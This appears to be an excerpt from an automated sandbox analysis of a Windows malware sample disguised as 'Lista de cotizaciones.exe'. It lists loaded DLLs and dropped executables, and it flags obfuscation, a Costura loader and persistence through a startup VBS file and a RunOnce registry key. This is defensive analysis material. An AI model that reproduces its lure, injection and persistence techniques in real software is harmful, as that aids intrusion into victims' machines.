Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Method.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: esscli.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe	Section loaded: cryptbase.dll

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Lista de cotizaciones.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Lista de cotizaciones.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Lista de cotizaciones.exe, 00000001.00000002.1360864673.0000000002A6A000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1359936623.0000000000CF0000.00000004.08000000.00040000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1374584452.00000000036B8000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1537972615.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: W.pdb4 source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000003A2F000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1360864673.0000000002B80000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1537972615.0000000002EDD000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1557861462.0000000003E37000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1557861462.0000000003EBF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Lista de cotizaciones.exe, 00000001.00000002.1360864673.0000000002A6A000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1359936623.0000000000CF0000.00000004.08000000.00040000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1374584452.00000000036B8000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1537972615.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: boost.exe, 0000000E.00000000.1620326870.0000000000812000.00000002.00000001.01000000.0000000C.sdmp, boost.exe.7.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb source: boost.exe, 0000000E.00000000.1620326870.0000000000812000.00000002.00000001.01000000.0000000C.sdmp, boost.exe.7.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 1.2.Lista de cotizaciones.exe.4363650.7.raw.unpack, G4CWslT97ZA7fY0DkjD.cs

.Net Code: Type.GetTypeFromHandle(b5e0q3t8gSNnMqF2cRI.JWbq5q0K2n(16777347)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(b5e0q3t8gSNnMqF2cRI.JWbq5q0K2n(16777252)),Type.GetTypeFromHandle(b5e0q3t8gSNnMqF2cRI.JWbq5q0K2n(16777284))})

.NET source code contains potential unpacker

Source: 1.2.Lista de cotizaciones.exe.6760000.13.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 1.2.Lista de cotizaciones.exe.6760000.13.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 1.2.Lista de cotizaciones.exe.6760000.13.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 1.2.Lista de cotizaciones.exe.6760000.13.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 1.2.Lista de cotizaciones.exe.6760000.13.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 1.2.Lista de cotizaciones.exe.38ebd70.6.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 1.2.Lista de cotizaciones.exe.38ebd70.6.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 1.2.Lista de cotizaciones.exe.38ebd70.6.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 1.2.Lista de cotizaciones.exe.cf0000.0.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 1.2.Lista de cotizaciones.exe.cf0000.0.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 1.2.Lista de cotizaciones.exe.cf0000.0.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 1.2.Lista de cotizaciones.exe.6830000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Lista de cotizaciones.exe.45902d0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Method.exe.49c02d0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1537972615.0000000002B75000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1360864673.0000000002742000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1557861462.00000000049C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1385612637.0000000006830000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Lista de cotizaciones.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Method.exe PID: 5976, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_039EFBAC push eax; iretd	7_2_039EFBAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_039EFAFC push eax; iretd	7_2_039EFAFD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_03CEEC40 push eax; retf	7_2_03CEEC4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_03CEF061 push eax; retf	7_2_03CEF062
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_03CEEC75 push eax; retf	7_2_03CEEC76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_03CEFC89 push ecx; retf	7_2_03CEFC96
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_03CEE294 push eax; retf	7_2_03CEE29E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_03CEFDB9 push eax; retf	7_2_03CEFDCE

Source: 1.2.Lista de cotizaciones.exe.4363650.7.raw.unpack, N0GGH9mlp2F2R0iCuFb.cs	High entropy of concatenated method names: 'Pi5m12uHFr', 'LBVm7GWNtq', 'WdFmEsWkJc', 'iMt0wKCjawZDKO04D8X', 'WWMSHyCuqhEGe1Sn1yS', 'B73VMUCFrWWXlMoZeu2', 'vikSTgCkpOfyQmldNXV'
Source: 1.2.Lista de cotizaciones.exe.4363650.7.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'b1YLQ8ce0ZxEh3cxZ4D'
Source: 1.2.Lista de cotizaciones.exe.4363650.7.raw.unpack, G4CWslT97ZA7fY0DkjD.cs	High entropy of concatenated method names: 'nYjotHcDgMlrsTpsk08', 'HYrSTNcwf7bAxTl74Ju', 'mSKtt72ou4', 'wBA1jfcvRaeOldahxw0', 'kpD79FcQoT9NFeO16SJ', 'hVC4sicbRrXaVacEwwA', 'aRjKXmcPrifUw3rXVVj', 'nNAr9EcJD9WdrhUP5c1', 'gYk9SDczl8E23qGcdWc', 'qSOUHo10S0urU3p6FA2'
Source: 1.2.Lista de cotizaciones.exe.4363650.7.raw.unpack, uRHhSSm83JVpogJy0NU.cs	High entropy of concatenated method names: 'EOGmg146Zo', 'aQomnUymgT', 'rRwm9fJUUl', 'jvcmCLuXwl', 'YZkmNB1K4b', 'mf9biACxgOl9iOefYer', 'lTDlFWCIXGC7fugHD64', 'kkh1vwCSZYXf37p6HAs', 'rLxoqmCd49cYx3kGMfC', 'Qn0D0FCBk2doLBRxNfD'
Source: 1.2.Lista de cotizaciones.exe.4363650.7.raw.unpack, F9qTRsTxl3gxIWKsc6F.cs	High entropy of concatenated method names: 'KEDTSstJHJ', 'uoMTdLrNJ8', 'qs8YtSlcmHeNOdQoKBp', 'gW1DqNl1xyG8Or37ETL', 'ODpJ5ql7pMULwIVJn5m', 'HGFrvblEydpsLeBwgqq', 'H82nbQlKyLouPwpnFtH', 'hFh6XhlX6yx2PKBQC9l', 'sS9CFLlqJZHEywSbC7t', 'WABA0ElyB1lETmYxhBx'
Source: 1.2.Lista de cotizaciones.exe.4363650.7.raw.unpack, Geu2FOtzFVkC5cTl09s.cs	High entropy of concatenated method names: 'ycEIVRVDtM', 'uqnI3cbZRG', 'SqOIRkt7eD', 'sSDIjniMyW', 'bTPIudnvRZ', 'sE7IFY1S3N', 'QqeIkLTqD0', 'ojhehqNUKj', 'S1lIiMwkuG', 'TjJI8jIdil'
Source: 1.2.Lista de cotizaciones.exe.4363650.7.raw.unpack, Q296JMtCt3CFS4X5aoU.cs	High entropy of concatenated method names: 'HhVtDMxZn8', 'VEUtwLFVLL', 't5vtU9mDIB', 'QAEt6uST68', 'l7AtZpJEXB', 'Aq2tvUdG5d', 'hAHtQsiLsn', 'MxytbW1xsR', 'MSEtPb6i2Q', 'dCptJG0naN'
Source: 1.2.Lista de cotizaciones.exe.4363650.7.raw.unpack, bfJNb6O5ODI3h647064.cs	High entropy of concatenated method names: 'H9yOaAGaZg', 'j2ZOenrHy9', 'k9FOslyRi4', 'MC1OpYjGX4', 'tbPOxSY6jE', 'XBqOIuqHrJ', 'x95OSFUC6q', 'RJkOdyc6ah', 'QWnOB7OeaE', 'oL8OrVyxam'

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe	File created: C:\Users\user\AppData\Roaming\Method.exe			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe			Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs

Jump to dropped file

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs

Jump to behavior

Source: C:\Users\user\Desktop\Lista de cotizaciones.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce abacuses	Jump to behavior
